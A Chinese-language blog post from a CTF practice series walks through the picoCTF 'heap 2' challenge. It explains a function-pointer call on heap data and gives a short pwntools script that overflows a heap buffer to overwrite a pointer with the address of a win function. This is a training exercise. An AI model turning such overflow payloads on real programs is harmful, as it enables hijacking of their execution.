iT邦幫忙

2024 iThome 鐵人賽

DAY 14
0
佛心分享-刷題不只是刷題

CTF 刷題系列 第 14

CTF Day 14 Binary (heap 2)

  • 分享至 

  • xImage
  •  

題目 heap 2

https://ithelp.ithome.com.tw/upload/images/20240928/20155574bwieifN7Wu.png
https://ithelp.ithome.com.tw/upload/images/20240928/20155574sQcikic7Fh.png

先輸入A看是否會覆蓋到bico
https://ithelp.ithome.com.tw/upload/images/20240928/20155574myx4cWOU88.png

可以觀察到input_data和x都在heap被分配到5個bytes的記憶體空間
https://ithelp.ithome.com.tw/upload/images/20240928/20155574ih499VsXrj.png
https://ithelp.ithome.com.tw/upload/images/20240928/20155574WB7dp1uTgb.png

(int*)x      =>x是一個指向記憶體的指標(假設它是在其他地方已經初始化並指向某個合法的記憶體區域)
*(int*)x     =>是解參照這個整數指標,取得 x 所指向的記憶體內容,並將這個內容視為一個整數值
(void (*)()) =>一個函數指標類型強制轉換,表示將前面取得的整數值(也就是 *(int*)x 的結果)轉換為一個函數指標。

簡單來說,是將記憶體位置中的某個整數解釋為一個函數指標
直接呼叫該函數指標指向的程式碼
https://ithelp.ithome.com.tw/upload/images/20240928/201555747YHwptX6MS.png

找出win函式的記憶體位置
https://ithelp.ithome.com.tw/upload/images/20240928/201555740EoiSk3sAe.png

所以我們想要的大概是長這樣子
https://ithelp.ithome.com.tw/upload/images/20240928/20155574IXehieSGlA.png

chall是LSB
要反過來\xa0\x11\x40\x00\x00
https://ithelp.ithome.com.tw/upload/images/20240928/201555741fz6TWc1xH.png

script

from pwn import *
# p = remote("mimas.picoctf.net",53000)
p = process("./chall")

p.sendline(b"2")
p.recvuntil(b"buffer:")
p.sendline(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\x00")

p.recvuntil(b"choice:")
p.sendline(b"4")
print(p.recvall())

https://ithelp.ithome.com.tw/upload/images/20240928/20155574wYeatHxK0a.png


上一篇
CTF Day 13 Binary (heap 1)
下一篇
CTF Day 15 Binary (heap 3)
系列文
CTF 刷題30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言